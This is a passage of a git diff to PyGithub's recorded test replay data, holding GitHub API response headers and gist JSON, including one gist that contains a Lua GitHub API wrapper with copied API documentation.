('x-ratelimit-remaining', '4994'), ('content-length', '2759'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"14d4466c0580c6f8e9be17f81eb1c3b0"'), ('date', 'Sat, 19 May 2012 07:06:10 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T07:06:10Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"barbaz.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/92be1df4e473d2541c5c166ad145a39d0324de8b/barbaz.txt","size":29,"filename":"barbaz.txt","content":"File also created by PyGithub","language":"Text"},"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"Description edited by PyGithub","created_at":"2012-05-19T07:00:58Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/67524fb6eb4883d979e8b4cf133003fa81a6a472","change_status":{"deletions":0,"additions":0,"total":0},"committed_at":"2012-05-19T07:06:10Z","version":"67524fb6eb4883d979e8b4cf133003fa81a6a472","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}},{"url":"https://api.github.com/gists/2729810/e730170a9599696a9d776f8bb5028b35f937b6de","change_status":{"deletions":0,"additions":1,"total":1},"committed_at":"2012-05-19T07:04:31Z","version":"e730170a9599696a9d776f8bb5028b35f937b6de","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}},{"url":"https://api.github.com/gists/2729810/35deb29ab1caf4c68c03d8244ad674b56de01a5c","change_status":{"deletions":0,"additions":1,"total":1},"committed_at":"2012-05-19T07:00:58Z","version":"35deb29ab1caf4c68c03d8244ad674b56de01a5c","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}}]} - diff --git a/tests/ReplayData/Gist.testEditWithoutParameters.txt b/tests/ReplayData/Gist.testEditWithoutParameters.txt index 9690563ae4..9f1246eaa1 100644 --- a/tests/ReplayData/Gist.testEditWithoutParameters.txt +++ b/tests/ReplayData/Gist.testEditWithoutParameters.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '1446'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9d90688efdf43c600be9c6c068f007dd"'), ('date', 'Sat, 19 May 2012 07:03:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T07:00:58Z","git_push_url":"git@gist.github.com:2729810.git","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"html_url":"https://gist.github.com/2729810","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-19T07:00:58Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/35deb29ab1caf4c68c03d8244ad674b56de01a5c","version":"35deb29ab1caf4c68c03d8244ad674b56de01a5c","change_status":{"deletions":0,"additions":1,"total":1},"committed_at":"2012-05-19T07:00:58Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}],"git_pull_url":"git://gist.github.com/2729810.git"} - diff --git a/tests/ReplayData/Gist.testFork.txt b/tests/ReplayData/Gist.testFork.txt index 6a324d9138..4096f80b2d 100644 --- a/tests/ReplayData/Gist.testFork.txt +++ b/tests/ReplayData/Gist.testFork.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '26806'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:28:24 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"f2916c23435522156274bed022a322e7"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 16:28:25 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377104997')] {"url":"https://api.github.com/gists/6296732","forks_url":"https://api.github.com/gists/6296732/forks","commits_url":"https://api.github.com/gists/6296732/commits","id":"6296732","git_pull_url":"https://gist.github.com/6296732.git","git_push_url":"https://gist.github.com/6296732.git","html_url":"https://gist.github.com/6296732","files":{"GithubAPI.lua":{"filename":"GithubAPI.lua","type":"text/plain","language":"Lua","raw_url":"https://gist.github.com/raw/6296732/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua","size":21229,"content":"-- GithubAPI\n-- @Author : Hyro Vitaly Protago\n-- @Version : 1.0.0\n\n--[[\n\nINFOS :\n - Cannot delete an anonymous gist\n]]--\n\nGithubAPI = {\n\tlocation = \"https://api.github.com/\",\n\ttoken = nil,\n\tOAuth = {\n\t\tauthorizations = {}\n\t},\n\tgist = {\n\t\tlist = {},\n\t\tcomment = {}\n\t},\n\tgithub = {}\n}\n\n----------------------------------------------------------------------------\n------------------------------ Github API ----------------------------------\n----------------------------------------------------------------------------\n\n--- Authentication ---\n\n--[[ Scopes --\n\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\nThey do not grant any additional permission beyond that which the user already has.\n\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\n\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\n\n~~~\n$ curl -H \"Authorization: token OAUTH-TOKEN\" https://api.github.com/users/technoweenie -I\nHTTP/1.1 200 OK\nX-OAuth-Scopes: repo, user\nX-Accepted-OAuth-Scopes: user\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\n~~~\n\n- (no scope)\npublic read-only access (includes public user profile info, public repo info, and gists).\n- user\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\n- user:email\nRead access to a user’s email addresses.\n- user:follow\nAccess to follow or unfollow other users.\n- public_repo\nRead/write access to public repos and organizations.\n- repo\nRead/write access to public and private repos and organizations.\n- repo:status\nRead/write access to public and private repository commit statuses.\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\n- delete_repo\nDelete access to adminable repositories.\n- notifications\nRead access to a user’s notifications. repo is accepted too.\n- gist\nWrite access to gists.\n\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\n~~~\nhttps://github.com/login/oauth/authorize?\n client_id=...&\n scope=user,public_repo\n~~~\n]]--\n\n-- Redirect users to request GitHub access --\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/authorize?client_id=\"..client_id..\"&scope=\"..scope, function(data, status, headers)\n\t\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\n\tend, nil, true)\nend\n-- GitHub redirects back to your site --\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/access_token\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret,\n\t\t\tcode = code\n\t\t}\n\t}, true)\nend\n\n-- List your authorizations --\nfunction GithubAPI.OAuth.authorizations.list(callback)\n\tGithubAPI.http_request(\"authorizations\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n }\n]\n]]--\n\n-- Get a single authorization --\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\n\tGithubAPI.http_request(\"authorizations/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- Create a new authorization --\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\n\tGithubAPI.http_request(\"authorizations/\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tscopes = scopes,\n\t\t\tnote = note,\n\t\t\tnote_url = note_url,\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret\n\t\t}\n\t})\nend\n\n--[[ Input --\nscopes\nOptional array - A list of scopes that this authorization is in.\n\nnote\nOptional string - A note to remind you what the OAuth token is for.\n\nnote_url\nOptional string - A URL to remind you what app the OAuth token is for.\n\nclient_id\nOptional String - The 20 character OAuth app client key for which to create the token.\n\nclient_secret\nOptional String - The 40 character OAuth app client secret for which to create the token.\n~~~\n{\n \"scopes\": [\n \"public_repo\"\n ],\n \"note\": \"admin script\"\n}\n~~~\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/authorizations/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- TODO\n-- Update\n-- Check\n-- Delete\n\n--- GISTS ---\n\n-- List gists --\nfunction GithubAPI.gist.list.user(user, callback)\n\tGithubAPI.http_request(\"users/\"..user..\"/gists\", callback)\nend\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\n\tGithubAPI.http_request(\"gists\", callback)\nend\nfunction GithubAPI.gist.list.allPublic(callback)\n\tGithubAPI.http_request(\"gists/public\", callback)\nend\nfunction GithubAPI.gist.list.starred(callback)\n\tGithubAPI.http_request(\"gists/starred\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n }\n]\n]]--\n\n-- Get a single gist --\nfunction GithubAPI.gist.get(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Create a gist --\nfunction GithubAPI.gist.create(public, files, callback ,description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tpublic = public,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"public\": true,\n \"files\": {\n \"file1.txt\": {\n \"content\": \"String file contents\"\n }\n }\n}\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Edit a gist --\nfunction GithubAPI.gist.edit(id, files, callback, description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tid = id,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"files\": {\n \"file1.txt\": {\n \"content\": \"updated file contents\"\n },\n \"old_name.txt\": {\n \"filename\": \"new_name.txt\",\n \"content\": \"modified contents\"\n },\n \"new_file.txt\": {\n \"content\": \"a new file\"\n },\n \"delete_this_file.txt\": null\n }\n}\n]]--\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Star a gist --\nfunction GithubAPI.gist.star(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"PUT\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Unstar a gist --\nfunction GithubAPI.gist.unstar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Check if a gist is starred --\nfunction GithubAPI.gist.checkStar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback)\nend\n\n--[[\n-- Response if gist is starred --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n\n-- Response if gist is not starred --\nStatus: 404 Not Found\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Fork a gist --\nfunction GithubAPI.gist.fork(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/forks\", callback, {method=\"POST\"})\nend\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/2\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n}\n]]--\n\n-- Delete a gist --\nfunction GithubAPI.gist.delete(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n--- GISTS COMMENTS ---\n\n-- List comments on a gist --\nfunction GithubAPI.gist.comment.list(gist_id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n }\n]\n]]--\n\n-- Get a single comment --\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Create a comment --\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/comments/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Edit a comment --\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Delete a comment --\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {method = \"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n----------------------------------------------------------------------------\n-------------------------------- TOOLS -------------------------------------\n----------------------------------------------------------------------------\n\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\n\topts = opts or {}\n\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\n\tif opts.data then opts.data = json.encode(opts.data) end\n\n\tlocal _url\n\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\n\n\thttp.request(_url, function(data, status, headers)\n\t\tif (status == 500) then error(\"Github: Internal Server Error ...\") end\n\t\tdata = json.decode(data)\n\t\tcallback(data, status, headers)\n\tend, alert, opts)\nend\n\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\n if (div=='') then return false end\n local pos,arr = 0,{}\n for st,sp in function() return string.find(str,div,pos,true) end do\n table.insert(arr,string.sub(str,pos,st-1))\n pos = sp + 1\n end\n table.insert(arr,string.sub(str,pos))\n return arr\nend\n\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\nfunction GithubAPI.gtimestamp(githubTime)\n\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\n\tgithubTime = GithubAPI.explode(\"T\", githubTime)\n\tgithubTime[1] = GithubAPI.explode(\"-\", githubTime[1])\n\tgithubTime[2] = GithubAPI.explode(\":\", githubTime[2])\n\treturn os.time({\n\t\tyear = tonumber(githubTime[1][1]),\n\t\tmonth = tonumber(githubTime[1][2]),\n\t\tday = tonumber(githubTime[1][3]),\n\t\thour = tonumber(githubTime[2][1]),\n\t\tmin = tonumber(githubTime[2][2]),\n\t\tsec = tonumber(githubTime[2][3])\n\t})\nend"}},"public":true,"created_at":"2013-08-21T16:28:24Z","updated_at":"2013-08-21T16:28:24Z","description":"Github 